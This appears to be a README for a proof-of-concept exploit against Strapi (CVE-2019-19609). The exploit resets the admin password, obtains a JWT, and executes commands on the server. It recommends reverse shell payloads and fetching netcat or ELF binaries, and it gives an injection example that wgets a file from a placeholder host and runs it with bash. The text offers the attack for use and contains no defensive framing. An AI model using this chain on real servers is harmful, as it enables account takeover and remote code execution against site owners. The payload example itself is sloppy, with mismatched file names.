CVE-2019-19609-POC-Python

The script will try to reset the password to the one declared in the "updated_pass" variable, if it succeeds - it will give a JWT token from Strapi and use it to execute commands. Executing bind commands won't work unless sending a reverse shell payload, with bash or python or whatever. You can generate a .sh file that will download nc for you and execute it, or anything really. Even elf. In order to do that, change the payload_exp from && to the ). For example, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL no longer active